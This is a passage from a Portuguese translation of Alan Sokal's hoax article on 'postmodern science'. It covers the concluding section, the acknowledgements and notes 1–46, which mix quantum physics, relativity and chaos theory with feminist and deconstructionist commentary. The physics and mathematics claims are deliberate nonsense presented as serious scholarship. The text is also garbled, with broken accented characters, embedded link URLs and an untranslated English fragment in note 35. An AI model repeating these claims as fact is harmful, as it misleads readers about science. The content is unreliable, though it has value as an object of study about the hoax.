progressistas."79<http://www.str.com.br/Scientia/transgredindo.htm#BM315>De
um ponto de vista feminista, Kelly Oliver d� um argumento similar:

... para ser revolucion�ria, uma teoria feminista n�o pode alegar descrever
o que existe, ou "fatos naturais". Em lugar disso, teorias feministas devem
ser ferramentas pol�ticas, estrat�gias para prevalecer sobre a opress�o em
situa��es concretas espec�ficas. O objetivo, portanto, da teoria feminista,
deve ser desenvolver teorias estrat�gicas - n�o teorias verdadeiras, nem
teorias falsas, mas teorias estrat�gicas.
80<http://www.str.com.br/Scientia/transgredindo.htm#BM319>

Como, ent�o, isso deve ser feito?

No que se segue, gostaria de discutir as linhas gerais de uma ci�ncia
p�s-moderna liberat�ria em dois n�veis: primeiro, com respeito a temas e
atitudes gerais; e segundo, com respeito a metas e estrat�gias pol�ticas.

Uma caracter�stica da ci�ncia p�s-moderna emergente � sua �nfase na
n�o-linearidade e na descontinuidade: isto � evidente, por exemplo, na
teoria do caos e na teoria das transi��es de fase bem como na gravidade
qu�ntica. 81 <http://www.str.com.br/Scientia/transgredindo.htm#BM1161> Ao
mesmo tempo, pensadores feministas ressaltaram a necessidade de uma an�lise
adequada da fluidez, em particular na fluidez turbulenta.
82<http://www.str.com.br/Scientia/transgredindo.htm#BM322>Estes dois
temas n�o s�o t�o contradit�rios como pode parecer de imediato: a
turbul�ncia est� conectada a forte n�o-linearidade, e a suavidade/fluidez
est� �s vezes associada com a descontinuidade (por exemplo, na teoria das
cat�strofes 83 <http://www.str.com.br/Scientia/transgredindo.htm#BM323>);
portanto uma s�ntese n�o est� de forma alguma fora de quest�o.

Em segundo lugar, as ci�ncias p�s-modernas descontroem e transcendem as
distin��es metaf�sicas cartesianas entre humanidade e natureza, observador e
observado, Sujeito e Objeto. J� a mec�nica qu�ntica, no come�o do s�culo,
destruiu a ing�nua f� newtoniana em um mundo objetivo e pr�-lingu�stico de
objetos materiais "estando por a� "; n�o poder�amos mais perguntar, como
colocou Heisenberg, se "existem part�culas objetivamente no espa�o e no
tempo". Mas a formula��o de Heisenberg ainda pressup�e a exist�ncia objetiva
de espa�o e do tempo como a arena neutra e n�o-problem�tica na qual
part�culas-ondas interagem (apesar de indeterministicamente); e �
precisamente esta suposta arena que a gravidade qu�ntica problematiza. Assim
como a mec�nica qu�ntica nos informa que a posi��o e o momento de uma
part�cula s�o trazidos � exist�ncia apenas pelo ato da observa��o, assim a
gravidade qu�ntica nos informa que o espa�o e o tempo s�o eles pr�prios
contextuais, sendo seu significado definido somente relativamente ao modo de
observa��o. 84 <http://www.str.com.br/Scientia/transgredindo.htm#BM1162>

Em terceiro lugar, as ci�ncias p�s-modernas destroem as categorias e
hierarquias ontol�gicas est�ticas caracter�sticas da ci�ncia moderna. Em
lugar do atomismo e do reducionismo, as novas ci�ncias enfatizam a rede
din�mica de rela��es entre o todo e uma parte; em lugar de ess�ncias
individuais fixas (por exemplo, as part�culas newtonianas), elas
conceitualizam intera��es e fluxos (por exemplo, campos qu�nticos). De forma
intrigante, estas caracter�sticas hom�logas surgem em numerosas �reas da
ci�ncia aparentemente diversas, da mec�nica qu�ntica � teoria do caos e �
biof�sica de sistemas auto-organizados. Desta forma, as ci�ncias
p�s-modernas parecem estar convergindo a um novo paradigma epistemol�gico,
que pode ser denominado perspectiva *ecol�gica*, comumente conhecido como
"reconhecimento da interdepend�ncia fundamental de todos os fen�menos e a
imers�o de indiv�duos e sociedades nos padr�es c�clicos da
natureza."85<http://www.str.com.br/Scientia/transgredindo.htm#BM328>

Um quarto aspecto da ci�ncia p�s-moderna � sua �nfase auto-consciente no
simbolismo e na representa��o. Como ressalta Robert Markley, as ci�ncias
p�s-modernas est�o cada vez mais transgredindo fronteiras disciplinares,
assumindo caracter�sticas que tinham at� ent�o sido campo das humanidades:

A f�sica qu�ntica, a teoria do bootstrap hadr�nico, a teoria dos n�meros
complexos, e a teoria do caos compartilham o pressuposto b�sico de que a
realidade n�o pode ser descrita em termos lineares, que equa��es n�o
lineares - e insol�veis - s�o a �nica forma poss�vel de descrever uma
realidade complexa, ca�tica e n�o-determin�stica. Estas teorias p�s-modernas
s�o - de forma significativa - todas metacr�ticas, no sentido de que se
apresentam como met�foras em vez de descri��es "acuradas" da realidade. Em
termos que s�o mais familiares a te�ricos liter�rios do que a f�sicos
te�ricos, poder�amos dizer que estas tentativas por parte dos cientistas de
desenvolver novas estrat�gias de descri��o representam notas em dire��o a
uma teoria das teorias, de como a representa��o - matem�tica, experimental e
verbal - � inerentemente complexa e problematizante, n�o uma solu��o mas
parte da semi�tica da investiga��o do
universo.86<http://www.str.com.br/Scientia/transgredindo.htm#BM330>
87 <http://www.str.com.br/Scientia/transgredindo.htm#BM331>

De um diferente ponto de partida, Aronowitz sugere da mesma forma que uma
ci�ncia liberat�ria pode surgir do compartilhamento interdisciplinar de
epistemologias:

... objetos naturais s�o tamb�m socialmente constru�dos. N�o � uma quest�o
de se estes objetos naturais, ou, para ser mais preciso, os objetos de
conhecimento cient�fico natural, existem independentemente do ato de saber.
Esta quest�o � respondida assumindo-se um tempo "real" por oposi��o �
pressuposi��o, comum entre neokantianos, de que o tempo tem sempre um
referente, que a temporalidade � portanto uma categoria relativa, e n�o
incondicionada. Certamente, a Terra evoluiu muito antes da vida na Terra. A
quest�o � se objetos de conhecimento cient�fico natural s�o constitu�dos
fora do campo social. Se isto � poss�vel, podemos assumir que a ci�ncia ou a
arte podem desenvolver procedimentos que efetivamente neutralizam os efeitos
que emanam dos meios pelos quais produzimos conhecimento/arte. Arte
perform�tica pode ser uma
tentativa.88<http://www.str.com.br/Scientia/transgredindo.htm#BM334>

Finalmente, a ci�ncia p�s-moderna proporciona uma refuta��o poderosa ao
autoritarismo e ao elitismo inerentes � ci�ncia tradicional, bem como uma
base emp�rica para uma abordagem democr�tica do trabalho cient�fico. Pois,
como observou Bohr, "uma elucida��o completa de um e s� objeto pode requerer
diversos pontos de vista que desafiam uma descri��o �nica" - este � muito
simplesmente um fato sobre o mundo, embora os auto-proclamados empiricistas
da ci�ncia moderna prefiram esquec�-lo. Em tal situa��o, como pode um clero
secular auto-perpetuante de "cientistas" credenciados pretender manter um
monop�lio da produ��o de conhecimento cient�fico? (Permita-me enfatizar que
n�o sou de forma alguma contr�rio ao treinamento cient�fico especializado;
fa�o obje��o apenas quando uma casta elitista pretende impor seu c�none de
"alta ci�ncia", com o objetivo de excluir *a priori* formas alternativas de
produ��o cient�fica por
n�o-membros.89<http://www.str.com.br/Scientia/transgredindo.htm#BM1163>
)

O conte�do e a metodologia da ci�ncia p�s-moderna fornecem portanto suporte
intelectual poderoso para o projeto pol�tico progressista, entendido em seu
sentido mais amplo: a transgress�o das fronteiras, a quebra de barreiras, a
democratiza��o radical de todos os aspectos da vida social, econ�mica,
pol�tica e cultural.90<http://www.str.com.br/Scientia/transgredindo.htm#BM344>Reciprocamente,
uma parte deste projeto deve envolver a contru��o de uma
ci�ncia nova e verdadeiramente progressista que possa servir �s necessidades
de tal sociedade democratizada futura. Como observa Markley, parece haver
duas escolhas mais ou menos mutualmente excludentes dispon�veis para a
comunidade cient�fica:

De um lado, cientistas politicamente progressistas podem tentar recuperar
pr�ticas existentes para valores morais que defendem, argumentando que seus
inimigos reacion�rios est�o desfigurando a natureza e que eles, o
contra-movimento, t�m acesso � verdade. [Mas] o estado da biosfera -
polui��o do ar, polui��o da �gua, desaparecimento de florestas tropicais,
milhares de esp�cies � beira da extin��o, grandes �reas de terra exploradas
muito al�m de sua capacidade de produ��o, usinas nucleares, armas nucleares,
clareiras onde outrora haviam florestas, fome, desnutri��o, p�ntanos
desaparecendo, pastagens inexistentes, e uma torrente de doen�as ambientais
- sugere que o sonho realista do progresso cient�fico, de recapturar em vez
de revolucionar metodologias e t�cnicas existentes, �, na pior das
hip�testes, irrelevante para uma luta pol�tica que deseja algo mais do que
uma nova apresenta��o do socialismo de
estado.91<http://www.str.com.br/Scientia/transgredindo.htm#BM346>

A alternativa � uma profunda reconcep��o da ci�ncia, bem como da pol�tica:

[O] movimento dial�gico em dire��o a redefini��o de sistemas, de ver o mundo
n�o somente como um todo ecol�gico mas como um conjunto de sistemas
concorrentes - um mundo mantido coeso pelas tens�es entre v�rios interesses
naturais e humanos - oferece a possibilidade de redefinir o que � a ci�ncia
e o que ela faz, de reestruturar esquemas determin�sticos de educa��o
cient�fica em favor de di�logos em progresso sobre como intervir em nosso
ambiente. 92 <http://www.str.com.br/Scientia/transgredindo.htm#BM349>

Desnecess�rio dizer que a ci�ncia p�s-moderna favorece inequivocamente a
�ltima abordagem, mais profunda.

Al�m de redefinir o conte�do da ci�ncia, � imperativo reestruturar e
redefinir os espa�os institucionais nos quais o trabalho cient�fico tem
lugar - universidades, laborat�rios do governo, e corpora��es - e reconceber
o sistema de recompensas que leva os cientistas a se tornarem,
freq�entemente contra seus pr�prios e melhores intintos, os capangas dos
capitalistas e dos militares. Como observou Aronowitz, "Um ter�o dos 11000
estudantes de doutorado em f�sica nos Estados Unidos est�o somente no
subcampo da f�sica do estado s�lido, e todos eles poder�o encontrar trabalho
neste subcampo."93
<http://www.str.com.br/Scientia/transgredindo.htm#BM351>Em contraste,
existem poucos empregos dispon�veis tanto para a gravidade
qu�ntica como para a f�sica ambiental.

Mas tudo isso � somente um primeiro passo: o objetivo fundamental de
qualquer movimento emancipat�rio deve ser desmistificar e democratizar a
produ��o do conhecimento cient�fico, quebrar as barreiras artificiais que
separam "cientistas" do "p�blico". Realisticamente, esta tarefa deve come�ar
com a gera��o mais jovem, atrav�s de uma profunda reforma do sistema
educacional.94 <http://www.str.com.br/Scientia/transgredindo.htm#BM352> O
ensino de ci�ncias e da matem�tica deve ser libertado de suas
caracter�sticas autorit�rias e elitistas
95<http://www.str.com.br/Scientia/transgredindo.htm#BM353>,
e o conte�do destas �reas, enriquecidas, incorporando-se os discernimentos
das cr�ticas feministas
96<http://www.str.com.br/Scientia/transgredindo.htm#BM1164>,
homossexuais97 <http://www.str.com.br/Scientia/transgredindo.htm#BM356>,
multiculturais 98 <http://www.str.com.br/Scientia/transgredindo.htm#BM357> e
ecol�gicas 99 <http://www.str.com.br/Scientia/transgredindo.htm#BM358>.

Finalmente, o conte�do de qualquer ci�ncia � profundamente condicionado pela
linguagem na qual seus discursos s�o formulados; e a ci�ncia f�sica
ocidental dominante tem sido, desde Galileu, formulada na linguagem da
matem�tica.100 <http://www.str.com.br/Scientia/transgredindo.htm#BM359>
101<http://www.str.com.br/Scientia/transgredindo.htm#BM1201>Mas a
matem�tica
*de quem*? A quest�o � fundamental, pois, como observou Aronowitz, "nem a
l�gica, nem a matem�tica escapam da ?contamina��o? do
social."102<http://www.str.com.br/Scientia/transgredindo.htm#BM1169>E
como pensadores feministas repetidamente mencionaram, na presente
cultura
esta contamina��o � avassaladoramente capitalista, patriarcal e militarista:
"a matem�tica � retratada como uma mulher cuja natureza deseja ser a Outra
conquistada." 103 <http://www.str.com.br/Scientia/transgredindo.htm#BM395>
104 <http://www.str.com.br/Scientia/transgredindo.htm#BM1170> Portanto, uma
ci�ncia liberat�ria n�o pode ser completa sem uma profunda revis�o do c�none
da matem�tica.105
<http://www.str.com.br/Scientia/transgredindo.htm#BM404>Ainda n�o
existe tal ci�ncia emancipat�ria, e podemos somente especular
sobre seu eventual conte�do. Podemos ver algumas dicas na l�gica
multidimensional e n�o-linear da teoria dos sistemas vagos
106<http://www.str.com.br/Scientia/transgredindo.htm#BM405>;
mas esta abordagem ainda � profundamente marcada por suas origens na crise
das rela��es do capitalismo
tardio.107<http://www.str.com.br/Scientia/transgredindo.htm#BM406>A
teoria das cat�strofes
108 <http://www.str.com.br/Scientia/transgredindo.htm#BM407>, com sua �nfase
dial�tica na continuidade/descontinuidade e metamorfose/desdobramento, ir�
indubitavelmente representar um papel importante na matem�tica futura; mas
muito trabalho te�rico precisa ainda ser feito antes que esta abordagem
possa tornar-se uma ferramenta concreta de utiliza��o pol�tica progressista.
109 <http://www.str.com.br/Scientia/transgredindo.htm#BM408> Finalmente, a
teoria do caos - que prov� nosso entendimento mais profundo do onipresente e
misterioso fen�meno da n�o-linearidade - ser� central para toda a matem�tica
futura. Por�m, estas imagens da futura matem�tica podem ser apenas um tra�o
vago, pois, ao longo destes tr�s novos ramos na �rvore da ci�ncia, surgir�o
novos troncos e ramos - estruturas te�ricas inteiramente novas - dos quais
n�s, com nossos atuais antolhos ideol�gicos, n�o podemos sequer conceber.

*Agradecimentos*

Gostaria de agradecer a Giacomo Caracciolo, Luc�a Fern�ndez-Santoro, Lia
Guti�rrez e Elizabeth Meiklejohn por discuss�es divertidas que contribu�ram
enormemente para este artigo. N�o � preciso dizer que estas pessoas n�o
devem ser consideradas como em total concord�ncia com os pontos de vista
cient�ficos e pol�ticos expressos aqui, nem s�o respons�veis por quaisquer
erros ou obscuridades que, inadvertidamente, possam estar presentes.

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*Notas*

1...Heisenberg (1958), Bohr (1963).

2...Kuhn (1970), Feyerabend (1975), Latour (1987), Aronowitz (1988b), Bloor
(1991).

3...Merchant (1980), Keller (1985), Harding (1986,1991), Haraway
(1989,1991), Best (1991).

4...Aronowitz (1988b, especialmente caps. 9 e 12).

5...Ross (1991, introdu��o e cap. 1).

6...Irigaray (1985), Hayles (1992).

7...Harding (1986, especialmente caps. 2 e 10); Harding (1991, especialmente
cap. 4).

8...Para uma amostra de pontos de vista, ver Jammer (1974), Bell (1987),
Albert (1992), D�rr, Goldstein and Zangh� (1992), Weinberg (1992, cap. IV),
Coleman (1993), diary Maudlin (1994), Bricmont (1994).

9...Heisenberg (1958, 15, 28-29), grifos do original. Ver tamb�m Overstreet
(1980), Craige (1982), Hayles (1984), Greenberg (1990), Booker (1990) e
Porter (1990) para exemplos de fertiliza��o cruzada de id�ias entre teoria
qu�ntica relativ�stica e cr�tica liter�ria.

10...Infelizmente, o princ�pio de incerteza de Heisenberg tem sido
freq�entemente mal interpretado por fil�sofos amadores. Como Gilles Deleuze
e F�lix Guattari (1994, 129-130) lucidamente observaram,

na f�sica qu�ntica, o dem�nio de Heisenberg n�o expressa a impossibilidade
de medir a tanto a velocidade quanto a posi��o de uma part�cula, sob
pretexto de uma interfer�ncia subjetiva da medida com o que � medido, mas
mede exatamente um estado objetivo de fatos que deixa a posi��o respectiva
de duas de suas part�culas fora do campo de sua realiza��o, o n�mero de
vari�veis independentes sendo reduzido e os valores das coordenadas tendo a
mesma probabilidade. ...O perspectivismo ou relativismo cient�fico jamais �
relativo a um sujeito: n�o constitui uma relatividade da verdade mas, ao
contr�rio, uma verdade do relativo, ou seja, de vari�veis cujos casos ele
ordena de acordo com os valores que extrai deles no seu sistema de
coordenadas...

11...Bohr (1928), citado em Pais (1991, 314).

12...Aronowitz (1988b, 251-256).

13...Ver tamb�m Porush (1989) para uma fascinante narrativa de como um
segundo grupo de cientistas e engenheiros - cibern�ticos - planejaram, com
sucesso consider�vel, subverter as implica��es mais revolucion�rias da
f�sica qu�ntica. A principal limita��o da cr�tica de Porush � que esta
permanece apenas em um plano cultural e filos�fico; suas conclus�es seriam
incomensuravelmente refor�adas por uma an�lise de fatores econ�micos e
pol�ticos. (Por exemplo, Porush deixa de mencionar que o
engenheiro-cibern�tico Claude Shannon trabalhou para o ent�o monop�lio de
telefonia AT&T.) Uma an�lise cuidadosa mostraria, penso eu, que a vit�ria da
cibern�tica sobre a f�sica qu�ntica nos anos 40 e 50 pode ser explicada em
grande parte pela centralidade da cibern�tica no movimento capitalista
vigente pela automa��o da produ��o industrial, comparada com a relev�ncia
industrial marginal da mec�nica qu�ntica.

14...Pais (1991, 23). Aronowitz (1981, 28) notous que a dualidade
onda-part�cula torna o "desejo de totalidade na ci�ncia moderna" severamente
problem�tico:

As diferen�as dentro da f�sica entre as teorias ondulat�ria e corpuscular da
mat�ria, o princ�pio da indetermina��o descoberto por Heisenberg, a teoria
da relatividade de Einstein, s�o todas acomoda��es � impossibilidade de se
chegar a uma teoria de campo unificado, no qual a "anomalia" da diferen�a
para uma teoria que presume identidade pode ser resolvida sem desafiar das
pressuposi��es da ci�ncia em si.

Para mais desenvolvimentos destas id�ias, ver Aronowitz (1988a, 524-525,
533).

15...Heisenberg (1958, 40-41).

16...Bohr (1934), citado em Jammer (1974, 102). A an�lise de Bohr do
princ�pio da complementaridade tamb�m o conduz a um panorama social que foi,
para seu tempo e lugar, notavelmente progressista. Considere o seguinte
trecho de um ensaio de 1938 (Bohr 1958, 30):

Talvez eu deva aqui relembr�-lo da extens�o na qual, em certas sociedades,
os pap�is dos homens e das mulheres se invertem, n�o somente em rela��o aos
deveres dom�sticos e sociais, mas tamb�m no que se refere ao comportamento e
� mentalidade. Mesmo em muitos de n�s, em tal situa��o, talvez relut�ssemos
de imediato ao admitir a possibilidade de que seja um total capricho do
destino que as pessoas em quest�o tenham sua cultura espec�fica e n�o a
nossa, e n�s n�o a deles em lugar da n�ssa pr�pria, � claro que at� mesmo a
mais leve suspeita a esse respeito implica uma trai��o da complac�ncia
nacional inerente a qualquer cultura humana centrada em si mesma.

17...Froula (1985).

18...Honner (1994).

19...Plotnitsky (1994). Este trabalho impressionante tamb�m explica as
conex�es �ntimas com a prova de G�del da incompleteza dos sistemas formais e
com a constru��o de Skolem de modelos n�o padronizados da aritm�tica, assim
como com a economia geral de Bataille. Para mais discuss�es da f�sica de
Bataille, ver Hochroth (1995).

20...Numerosos outros exemplos podem ser citados. Por exemplo, Barbara
Johnson (1989, 12) n�o faz refer�ncia espec�fica � f�sica qu�ntica, mas sua
descri��o da desconstru��o � uma revis�o assustadoramente exata do princ�pio
da complementaridade:

Em vez de uma simples estrutura "ou/ou", a decomposi��o tenta elaborar um
discurso que n�o diga *nem* "ou/ou", *nem* "tanto/como", *nem
mesmo*"nem/nem", ao mesmo tempo n�o abandonando totalmente esta
l�gica.

Ver tamb�m McCarthy (1992) para uma an�lise estimulante que levanta quest�es
importantes sobre a "cumplicidade" entre a f�sica qu�ntica e a descontru��o.

21...Permitam-me relatar uma lembran�a pessoal: Quinze anos atr�s, quando eu
era estudante de doutorado, minha pesquisa em teoria qu�ntica relativ�stica
de campos me levou a uma abordagem que chamei de "teoria qu�ntica de campos
des[cons]trutiva" (Sokal 1982). � claro que naquele tempo eu n�o tinha
nenhum conhecimento do trabalho de Jacques Derrida sobre a desconstru��o na
filosofia e na cr�tica liter�ria. Em retrospecto, entretanto, existe uma
not�vel afinidade: meu trabalho pode ser visto como uma explora��o de como o
discurso ortodoxo (e.g. Itzykson and Zuber 1980) a respeito da teoria
qu�ntica escalar de campos no espa�o-tempo quadridimensional (em termos
t�cnicos, "teoria de perturba��o renormaliz�vel" para a teoria ) afirma sua
pr�pria irrealidade e por isso condena suas pr�prias afirma��es. Desde
ent�o, meu trabalho foi desviado para outras quest�es, sendo a maior parte
conectada com transi��es de fase; mas homologias sutis entre os dois campos
podem ser notadas, particularmente o tema da descontinuidade (ver notas 22 e
81 abaixo). Para mais exemplos da descontru��o na teoria qu�ntica de campos,
ver Merz e Knorr Cetina (1994).

22...Bohr (1928), citado em Jammer (1974, 90).

23...Bell (1987, especialmente caps. 10 and 16). Ver tamb�m Maudlin (1994,
chap. 1) para uma narrativa clara que n�o pressup�e conhecimento
especializado de �lgebra do ensino m�dio.

24...Greenberger *et al.* (1989,1990), Mermin (1990,1993).

25...Aronowitz (1988b, 331) fez uma observa��o provocativa a respeito da
causalidade n�o-linear na mec�nica qu�ntica e sua rela��o com a costru��o
social do tempo:

A causalidade linear assume que a rela��o de causa e efeito pode ser
expressa como uma fun��o da sucess�o temporal. Devido a desenvolvimentos
recentes na mec�nica qu�ntica, podemos postular que � poss�vel conhecer os
efeitos de causas ausentes; ou seja, falando metaforicamente, os efeitos
podem antecipar causas de tal forma que nossa percep��o deles pode preceder
a ocorr�ncia f�sica de uma "causa". A hip�tese que desafia nossa concep��o
convencional de tempo e causalidade lineares e que afirma a possibilidade da
reversibilidade do tempo tamb�m levanta a quest�o do grau em que o conceito
de "flecha do tempo" � inerente a qualquer teoria cient�fica. Se tais
experimentos t�m sucesso, as conclus�es a respeito da maneira que o tempo
como "tempo-rel�gio" foi constitu�do historicamente ser�o abertas para
debate. Teremos "provado" por meio experimental o que j� � suspeitado h�
muito por fil�sofos e cr�ticos liter�rios e sociais: que o tempo �, em
parte, uma constru��o convencional, sua segmenta��o em horas e minutos sendo
um produto da necessidade de disciplina industrial, de organiza��o racional
do trabalho social no princ�pio da �poca burguesa.

As an�lises te�ricas de Greenberger *et al.* (1989,1990) e Mermin
(1990,1993) d�o um exemplo impressionante deste fen�meno; ver Maudlin (1994)
para uma an�lise detalhada das implica��es para os conceitos de causalidade
e temporalidade. Um teste experimental, estendendo o trabalho de Aspect *et
al.* (1982), estar� provavelmente dispon�vel dentro de poucos anos.

26...Bohm (1980). As rela��es �ntimas entre a mec�nica qu�ntica e o problema
mente-corpo s�o discutidas em Goldstein (1983, chaps. 7 and 8).

27...Entre a literatura volumosa, o livro de Capra (1975) pode ser
recomendado por sua precis�o cient�fica e sua acessibilidade para
n�o-especialistas. Al�m disso, o livro de Sheldrake (1981), embora
especulativo ocasionalmente, � em geral uma obra s�lida. Para uma an�lise
simp�tica por�m cr�tica das teorias da Nova Era, ver Ross (1991, cap. 1).
Para uma cr�tica do trabalho de Capra a partir de uma perspectiva do
Terceiro Mundo, ver Alvares (1992, cap. 6).

28...Bohr (1963, 2), grifos do original. 29...O atomismo newtoniano trata as
part�culas como hiperseparadas no espa�o e no tempo, colocando em segundo
plano sua interconex�o (Plumwood 1993a, 125); de fato, "a �nica ?for�a?
permitida dentro das linhas da mec�nica � a da energia cin�tica - a energia
de movimento por contato -, sendo todas as outras for�as, incluindo a��o �
dist�ncia, vistas como ocultas" (Mathews 1991, 17). Para an�lises cr�ticas
do ponto de vista mecanicista newtoniano, ver Weil (1968, especialmente cap.
1), Merchant (1980), Berman (1981), Keller (1985, caps. 2 and 3), Mathews
(1991, cap. 1) e Plumwood (1993a, cap. 5).

30...De acordo com a narrativa tradicional dos livros did�ticos, a
relatividade especial envolve transforma��es de coordenadas relacionadas a *
dois* sistemas de refer�ncia em movimento relativo uniforme. Mas esta � uma
supersimplifica��o err�nea, como Latour (1988) mostrou:

Como se pode decidir se uma observa��o feita em um trem sobre o
comportamento de uma pedra que cai pode coincidir com a observa��o feita da
mesma pedra que cai a partir da plataforma? Se h� somente um, ou mesmo *dois
*, sistemas de refer�ncia, nenhuma solu��o pode ser encontrada, uma vez que
o homem no trem afirma observar uma linha reta, e o homem na plataforma, uma
par�bola. ...

A solu��o de Einstein � considerar tr�s atores: um no trem, um na plataforma
e um terceiro, o autor [enunciador] ou um de seus representantes, que tenta
superpor as observa��es codificadas enviadas pelos outros dois. ...

Sem a posi��o do enunciador (escondido no c�lculo de Einstein), e sem a
no��o dos centros de c�lculo, o pr�prio argumento t�cnico de Einstein �
incompreens�vel ... [pp. 10-11 e 35, grifos do original]

No fim, como Latour espirituosa e acuradamente observa, a relatividade
especial se resume � proposi��o de que

mais sistemas de refer�ncia com menos privil�gios podem ser acessados,
reduzidos, acumulados e combinados, observadores podem ser delegados a mais
alguns lugares no infinitamente grande (o cosmos) e o infinitamente pequeno
(el�trons), e as anota��es que eles enviam ser�o compreens�veis. Seu [de
Einstein] livro poderia muito bem se chamar: ?Novas Instru��es para Trazer
de Volta Viajantes Cient�ficos de Longa Dist�ncia?. [pp. 22-23]

A an�lise cr�tica de Latour da l�gica de Einstein prov� uma introdu��o
eminentemente acess�vel � teoria da relatividade especial para
n�o-cientistas.

31...Minkowski (1908), traduzido em Lorentz *et al.* (1952, 75).

32...N�o � preciso dizer que a relatividade especial prop�e novos conceitos
n�o somente do espa�o e do tempo, mas tamb�m da mec�nica. Na relatividade
especial, como observou Virilio (1991, 136), "o espa�o dromosf�rico,
espa�o-velocidade, � fisicamente descrito pelo que � chamado ?equa��o
log�stica?, o resultado do produto da massa deslocada pela velocidade de seu
deslocamento, MxV." Esta altera��o radical da f�rmula newtoniana tem
conseq��ncias profundas, particularmente na teoria qu�ntica; ver Lorentz *et
al.* (1952) e Weinberg (1992) para mais discuss�es.

33...Steven Best (1991, 225) atingiu o ponto crucial da dificuldade, qual
seja, que "diferentemente das equa��es lineares usadas na mec�nica
newtoniana, e mesmo na mec�nica qu�ntica, as equa��es n�o-lineares [n�o] t�m
a propriedade aditiva simples pela qual cadeias de solu��es podem ser
constru�das de partes simples e independentes". Por esta raz�o, as
estrat�gias da atomiza��o, do reducionismo e da retirada do contexto que
formam a base da metodologia cient�fica newtoniana simplesmente n�o funciona
na teoria geral da relatividade.

34...G�del (1949). Para um resumo do trabalho atual nesta �rea, ver 't Hooft
(1993).

35...Estas novas no��es de espa�o, tempo e causalidade s�o *em
parte*vislumbradas j� na relatividade especial. foreshadowed already
in special
relativity. Desta forma, Alexander Argyros (1991, 137) notou que

em universo dominado por f�tons, gr�vitons e neutrinos, ou seja, no universo
primordial, a teoria da relatividade especial sugere que qualquer distin��o
entre antes e depois � imposs�vel. Para uma part�cula viajando na velocidade
da luz, ou atravessando uma dist�ncia da ordem do comprimento de Planck,
todos eventos s�o simult�neos.

Entretanto, n�o posso concordar com a conclus�o de Argyros de que a
desconstru��o de Derrida seja, portanto, inaplic�vel � hermen�utica da
cosmologia do universo primordial: o argumento de Argyros para este efeito
se baseia em um uso impermissivelmente totalizante da relatividade especial
(em termos t�cnicos, "coordenadas do cone de luz") em um contexto onde a
relatividade *geral* � inescap�vel. (Para um erro similar mas menos
inocente, ver Nota
40<http://www.str.com.br/Scientia/transgredindo.htm#footnote_DerridaGrossLevitt>abaixo.)

36...Jean-Fran�ois Lyotard (1989, 5-6) apontou que n�o somente a
relatividade geral, mas tamb�m a moderna f�sica de part�culas elementares,
imp�e novas no��es de tempo:

Na f�sica e na astrof�sica contempor�neas ...uma part�cula tem um tipo de
mem�ria elementar e consequentemente um filtro temporal. Eis por que f�sicos
contempor�neos tendem a pensar que o tempo emana da pr�pria mat�ria, e que
ele n�o � uma entidade dentro ou fora do universo cuja fun��o seria acumular
todos os diferentes tempos na hist�ria universal. � somente em certas
regi�es que tais s�nteses - somente parciais - poderiam ser detectadas.
Haveria nesta vis�o �reas de determinismo onde a complexidade � crescente.

Al�m disso, Michel Serres (1992, 89-91) notou que a teoria do caos (Gleick
1987) e a teoria da percola��o (Stauffer 1985) contestaram o tradicional
conceito linear do tempo:

O tempo nem sempre flui ao longo de uma linha ...ou um plano, mas ao longo
de uma variedade extraordinariamente complexa, como se mostrasse pontos de
parada, rupturas, po�os [*puits*], chamin�s de acelera��o
poderos�ssima [*chemin�es
d'acc�l�ration foudroyante*], fendas, lacunas, todos semeados de forma
rand�mica ...

O tempo flui de maneira turbulenta e ca�tica; ele percola. [Tradu��o minha.
Note que na teoria dos sistemas din�micos, "*puits*" � um termo t�cnico
significando "po�o", i.e. o oposto de "fonte".]

Estes m�ltiplos pontos de vista sobre a natureza do tempo, mostrados por
diferentes ramos da f�sica, s�o mais uma ilustra��o do princ�pio da
complementaridade.

37...A relatividade geral pode, possivelmente, ser vista como corroborando a
desconstru��o nietzscheana da causalidade (ver e.g. Culler 1982, 86-88),
embora alguns relativistas achem esta iterpreta��o problem�tica. Na mec�nica
qu�ntica, do contr�rio, este fen�meno � firmemente estabelecido (ver
Nota 25<http://www.str.com.br/Scientia/transgredindo.htm#footnote_Aronowitz>acima).

38...A relatividade geral � tamb�m, l�gico, o ponto de partida para a
astrof�sica contempor�nea e para a cosmologia f�sica. Ver Mathews (1991,
59-90, 109-116, 142-163) para uma an�lise detalhada das conex�es entre a
relatividade geral (e suas generaliza��es chamadas "geometrodin�mica") e uma
vis�o ecol�gica. Para especula��es de um astrof�sico em linhas similares,
ver Primack e Abrams (1995).

39...Discuss�o ap�s a confer�ncia de Derrida (1970, 265-266).

40...Derrida (1970, 267).

Os cr�ticos da direita Gross e Levitt (1994, 79) ridicularizaram esta
coloca��o, intencionalmente o interpretando erroneamente como uma asser��o
sobre a relatividade *especial*, na qual a constante *c* (a velocidade da
luz no v�cuo) de Einstein �, evidentemente, uma constante. Nenhum leitor
versado em f�sica moderna - exceto algum fortemente contaminado
ideologicamente - poderia deixar de entender a refer�ncia inequ�voca de
Derrida � relatividade *geral*.

41...Luce Irigaray (1987, 77-78) mostrou que as contradi��es entre a teoria
qu�ntica e a teoria de campo s�o na verdade a culmina��o de um processo
hist�rico que come�ou com a mec�nica newtoniana:

A quebra newtoniana conduziu o projeto cient�fico em um mundo onde a
percep��o sensorial � irris�ria, um mundo que pode levar � aniquila��o dos
pr�prios alicerces da f�sica: a mat�ria (sejam quais forem os predicados) do
universo e dos corpos que o constituem. Nesta mesma ci�ncia, al�m disso [*
d'ailleurs*], existem rachaduras: a teoria qu�ntica/teoria de campos,
mec�nica dos s�lidos/din�mica dos fluidos, por exemplo. Mas a
imperceptibilidade da mat�ria sob estudo freq�entemente traz consigo o
privil�gio paradoxal da *solidez* nas descobertas e um atraso, ou mesmo um
abandono, da an�lise da infinidade [*l'in-fini*] dos campos de for�a.

Corrigi aqui a tradu��o de "*d'ailleurs*", que significa "al�m disso" ou
"al�m do mais" (e n�o "entretanto").

42...Wheeler (1964).

43...Isham (1991, sec. 3.1.4).

44...Green, Schwarz e Witten (1987).

45...Ashtekar, Rovelli e Smolin (1992), Smolin (1992).

46...Sheldrake (1981,1991), Briggs e Peat (1984, cap. 4), Granero-Porati e
Porati (1984), Kazarinoff (1985), Schiffmann (1989), Psarev (1990), Brooks e
Castor (1990), Heinonen, Kilpel�inen e Martio (1992), Rensing (1993). Para
um tratamento aprofundado das bases matem�ticas desta teoria, ver Thom
(1975,1990); e para uma an�lise breve mas perspicaz dos fundamentos
filos�ficos desta abordagem e de outras relacionadas, ver Ross (1991, 40-42,
253n).

